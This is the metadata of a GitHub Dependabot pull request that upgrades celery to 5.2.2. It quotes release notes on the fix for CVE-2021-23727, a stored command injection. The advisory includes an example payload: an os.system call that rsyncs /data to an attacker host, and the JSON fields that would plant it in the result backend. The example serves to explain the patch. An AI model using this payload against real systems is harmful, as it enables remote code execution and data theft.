Title: Bump celery from 4.3.0 to 5.2.2 in /src by dependabot[bot] · Pull Request #20 · mitchtabian/CodingWithMitchBlog-REST-API · GitHub
Open Graph Title: Bump celery from 4.3.0 to 5.2.2 in /src by dependabot[bot] · Pull Request #20 · mitchtabian/CodingWithMitchBlog-REST-API
X Title: Bump celery from 4.3.0 to 5.2.2 in /src by dependabot[bot] · Pull Request #20 · mitchtabian/CodingWithMitchBlog-REST-API
Description: Bumps celery from 4.3.0 to 5.2.2. Release notes Sourced from celery's releases. 5.2.2 Release date: 2021-12-26 16:30 P.M UTC+2:00 Release by: Omer Katz Various documentation fixes. Fix CVE-2021-23727 (Stored Command Injection security vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so: { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. v5.2.1 Release date: 2021-11-16 8.55 P.M UTC+6:00 Release by: Asif Saif Uddin Fix rstrip usage on bytes instance in ProxyLogger. Pass logfile to ExecStop in celery.service example systemd file. fix: reduce latency of AsyncResult.get under gevent (#7052) Limit redis version: <4.0.0. Bump min kombu version to 5.2.2. Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. ... (truncated) Changelog Sourced from celery's changelog. 5.2.2 :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz Various documentation fixes. Fix CVE-2021-23727 (Stored Command Injection security vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so: .. code-block:: python { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. .. _version-5.2.1: 5.2.1 :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin Fix rstrip usage on bytes instance in ProxyLogger. Pass logfile to ExecStop in celery.service example systemd file. fix: reduce latency of AsyncResult.get under gevent (#7052) Limit redis version: <4.0.0. Bump min kombu version to 5.2.2. ... (truncated) Commits b21c13d Bump version: 5.2.1 → 5.2.2 a60b486 Add changelog for 5.2.2. 3e5d630 Fix changelog formatting. 1f7ad7e Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability). 2d8dbc2 Update configuration.rst 9596aba Fix typo in documentation 639ad83 update doc to reflect Celery 5.2.x (#7153) d32356c Bump version: 5.2.0 → 5.2.1 6842a78 Merge branch 'master' of https://github.com/celery/celery 4c92cb7 changelog for v5.2.1 Additional commits viewable in compare view Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase. Dependabot commands and options You can trigger Dependabot actions by commenting on this PR: @dependabot rebase will rebase this PR @dependabot recreate will recreate this PR, overwriting any edits that have been made to it @dependabot merge will merge this PR after your CI passes on it @dependabot squash and merge will squash and merge this PR after your CI passes on it @dependabot cancel merge will cancel a previously requested merge and block automerging @dependabot reopen will reopen this PR if it is closed @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) @dependabot use these labels will set the current labels as the default for future PRs for this repo and language @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the Security Alerts page.
Open Graph Description: Bumps celery from 4.3.0 to 5.2.2. Release notes Sourced from celery's releases. 5.2.2 Release date: 2021-12-26 16:30 P.M UTC+2:00 Release by: Omer Katz Various documentation fixes. Fix CV...
X Description: Bumps celery from 4.3.0 to 5.2.2. Release notes Sourced from celery's releases. 5.2.2 Release date: 2021-12-26 16:30 P.M UTC+2:00 Release by: Omer Katz Various documentation fixes. Fi...
Opengraph URL: https://github.com/mitchtabian/CodingWithMitchBlog-REST-API/pull/20
X: @github
Domain: github.com
| route-pattern | /:user_id/:repository/pull/:id/files(.:format) |
| route-controller | pull_requests |
| route-action | files |
| fetch-nonce | v2:db1c444c-b33c-de96-bc0e-beff0da6ea9c |
| current-catalog-service-hash | ae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b |
| request-id | CED6:21BCA4:64AD60:8A501D:6A534AC7 |
| html-safe-nonce | 275020cf4c5bbbbac215ec89ed886b349884dd77fcf55fd647ef531ea6e561e1 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRUQ2OjIxQkNBNDo2NEFENjA6OEE1MDFEOjZBNTM0QUM3IiwidmlzaXRvcl9pZCI6IjUwODcyOTU4OTM4MTgwMDIxMTkiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 64b20d767584694597ae1ece0bddfb36df1c855f047d1afebd8a8849ccbf6f00 |
| hovercard-subject-tag | pull_request:815899446 |
| github-keyboard-shortcuts | repository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/mitchtabian/CodingWithMitchBlog-REST-API/pull/20/files |
| twitter:image | https://avatars.githubusercontent.com/in/29110?s=400&v=4 |
| twitter:card | summary_large_image |
| og:image | https://avatars.githubusercontent.com/in/29110?s=400&v=4 |
| og:image:alt | Bumps celery from 4.3.0 to 5.2.2. Release notes Sourced from celery's releases. 5.2.2 Release date: 2021-12-26 16:30 P.M UTC+2:00 Release by: Omer Katz Various documentation fixes. Fix CV... |
| og:site_name | GitHub |
| og:type | object |
| hostname | github.com |
| expected-hostname | github.com |
| None | b9a586c06a05a7a86fc7e3f4dbd03e42f6869085879aa184aa6369456dbd50fb |
| turbo-cache-control | no-preview |
| diff-view | unified |
| go-import | github.com/mitchtabian/CodingWithMitchBlog-REST-API git https://github.com/mitchtabian/CodingWithMitchBlog-REST-API.git |
| octolytics-dimension-user_id | 17446480 |
| octolytics-dimension-user_login | mitchtabian |
| octolytics-dimension-repository_id | 195463792 |
| octolytics-dimension-repository_nwo | mitchtabian/CodingWithMitchBlog-REST-API |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 195463792 |
| octolytics-dimension-repository_network_root_nwo | mitchtabian/CodingWithMitchBlog-REST-API |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | true |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 07a982c1d40157c619b364352b704c3ce66bb332 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width